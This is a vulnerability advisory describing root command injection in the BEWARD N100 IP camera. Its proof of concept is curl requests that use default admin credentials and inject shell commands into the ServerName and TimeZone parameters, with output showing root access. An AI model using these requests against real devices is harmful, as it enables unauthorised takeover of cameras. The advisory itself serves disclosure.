BEWARD N100 H.264 VGA IP Camera M2.1.6 Root Remote Code Execution

2019.02.04
mk LiquidWorm (MK) mk
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

BEWARD N100 H.264 VGA IP Camera M2.1.6 Root Remote Code Execution Vendor: Beward R&D Co., Ltd Product web page: https://www.beward.net Affected version: M2.1.6.04C014 Summary: The N100 compact color IP camera with support for a more efficient compression format is optimized for low-speed networks, thanks to which it transmits a real-time image over the network with minimal delays. The camera supports the switching of the broadcast modes, and in the event of a break in communication with the remote file storage, it can continue recording to the microSDHC memory card. N100 is easy to install and configure, has all the necessary arsenal for the organization of low-cost professional video surveillance systems. Desc: The camera suffers from two authenticated command injection vulnerabilities. The issues can be triggered when calling ServerName or TimeZone GET parameters via the servertest page. This can be exploited to inject arbitrary system commands and gain root remote code execution. Tested on: Boa/0.94.14rc21 Farady ARM Linux 2.6 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2019-5512 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5512.php 26.01.2019 -- --------------------------- TimeZone command injection: root@ground:~# curl -X $'GET' -H $'Authorization: Basic YWRtaW46YWRtaW4=' $'http://TARGET/cgi-bin/operator/servetest?cmd=ntp&ServerName=pool.ntp.org&TimeZone=03:00|id||' HTTP/1.1 200 OK Date: Sun, 01 Jan 2012 10:15:53 GMT Server: Boa/0.94.14rc21 Accept-Ranges: bytes Connection: close uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm) Content-type: text/plain ntp update 0 OK ----------------------------- ServerName command injection: root@ground:~# curl -X $'GET' -H $'Authorization: Basic YWRtaW46YWRtaW4=' $'http://TARGET/cgi-bin/operator/servetest?cmd=ntp&ServerName=pool.ntp.org|id||&TimeZone=03:00' HTTP/1.1 200 OK Date: Sun, 01 Jan 2012 10:22:11 GMT Server: Boa/0.94.14rc21 Accept-Ranges: bytes Connection: close uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm) Content-type: text/plain ntp update 0 OK


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